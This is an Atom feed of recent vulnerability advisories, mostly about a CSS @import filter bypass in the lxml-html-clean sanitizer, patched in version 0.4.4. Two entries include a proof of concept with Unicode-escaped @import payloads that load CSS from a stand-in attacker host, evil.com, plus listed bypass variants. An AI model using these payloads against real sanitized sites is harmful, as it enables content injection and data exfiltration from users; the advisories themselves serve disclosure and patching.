<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-03T03:31:52.550788+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/bdu:2026-07380</id>
    <title>bdu:2026-07380</title>
    <updated>2026-10-03T03:31:52.723761+00:00</updated>
    <content>bdu:2026-07380</content>
    <link href="https://cve.radiocsirt.org/vuln/bdu:2026-07380"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/brew-gptline-cve-2026-28348</id>
    <title>BREW-gptline-CVE-2026-28348 — lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes</title>
    <updated>2026-10-03T03:31:52.723810+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Homebrew: gptline</p>
<p>### Summary
The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.</p>
<p>### Details
The root cause is located in `clean.py` (around line 594):
```python
style = style.replace('\\', '')
```
This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.</p>
<p>Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).</p>
<p>### PoC
```python
from lxml_html_clean import clean_html</p>
<p># Normal @import is correctly blocked:
# clean_html('&lt;style&gt;@import url("http://evil.com/x.css");&lt;/style&gt;')
# Output: &lt;div&gt;&lt;style&gt; url("http://evil.com/x.css");&lt;/style&gt;&lt;/div&gt;</p>
<p># Unicode escape bypass:
result = clean_html('&lt;style&gt;@\\69mport url("http://evil.com/x.css");&lt;/style&gt;')
print(result)
# Output: &lt;div&gt;&lt;style&gt;@\69mport url("http://evil.com/x.css");&lt;/style&gt;&lt;/div&gt;
```
If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.</p>
<p>### Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading C…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/brew-gptline-cve-2026-28348"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/certfr-2026-avi-0648</id>
    <title>certfr-2026-avi-0648 — De multiples vulnérabilités ont été découvertes dans Kaspersky Anti Targeted Attack Platform. Elles permettent à un att…</title>
    <updated>2026-10-03T03:31:52.723933+00:00</updated>
    <content>certfr-2026-avi-0648</content>
    <link href="https://cve.radiocsirt.org/vuln/certfr-2026-avi-0648"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-274829</id>
    <title>EUVD-2026-274829</title>
    <updated>2026-10-03T03:31:52.723961+00:00</updated>
    <content>EUVD-2026-274829</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-274829"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-28348</id>
    <title>fkie_cve-2026-28348</title>
    <updated>2026-10-03T03:31:52.723980+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-28348"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-hw26-mmpg-fqfg</id>
    <title>GHSA-hw26-mmpg-fqfg — lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes</title>
    <updated>2026-10-03T03:31:52.724017+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: lxml-html-clean</p>
<p>### Summary
The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.</p>
<p>### Details
The root cause is located in `clean.py` (around line 594):
```python
style = style.replace('\\', '')
```
This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.</p>
<p>Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).</p>
<p>### PoC
```python
from lxml_html_clean import clean_html</p>
<p># Normal @import is correctly blocked:
# clean_html('&lt;style&gt;@import url("http://evil.com/x.css");&lt;/style&gt;')
# Output: &lt;div&gt;&lt;style&gt; url("http://evil.com/x.css");&lt;/style&gt;&lt;/div&gt;</p>
<p># Unicode escape bypass:
result = clean_html('&lt;style&gt;@\\69mport url("http://evil.com/x.css");&lt;/style&gt;')
print(result)
# Output: &lt;div&gt;&lt;style&gt;@\69mport url("http://evil.com/x.css");&lt;/style&gt;&lt;/div&gt;
```
If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.</p>
<p>### Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading C…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-hw26-mmpg-fqfg"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/opensuse-su-2026:10322-1</id>
    <title>openSUSE-SU-2026:10322-1 — python311-lxml_html_clean-0.4.4-1.1 on GA media</title>
    <updated>2026-10-03T03:31:52.724121+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>python311-lxml_html_clean-0.4.4-1.1 on GA media</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/opensuse-su-2026:10322-1"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/pysec-2026-2201</id>
    <title>PYSEC-2026-2201</title>
    <updated>2026-10-03T03:31:52.724140+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: lxml-html-clean</p>
<p>lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/pysec-2026-2201"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-28348</id>
    <title>UBUNTU-CVE-2026-28348</title>
    <updated>2026-10-03T03:31:52.724160+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Ubuntu:24.04:LTS: lxml-html-clean, Ubuntu:25.10: lxml-html-clean, Ubuntu:26.04:LTS: lxml-html-clean</p>
<p>lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-28348"/>
  </entry>
</feed>
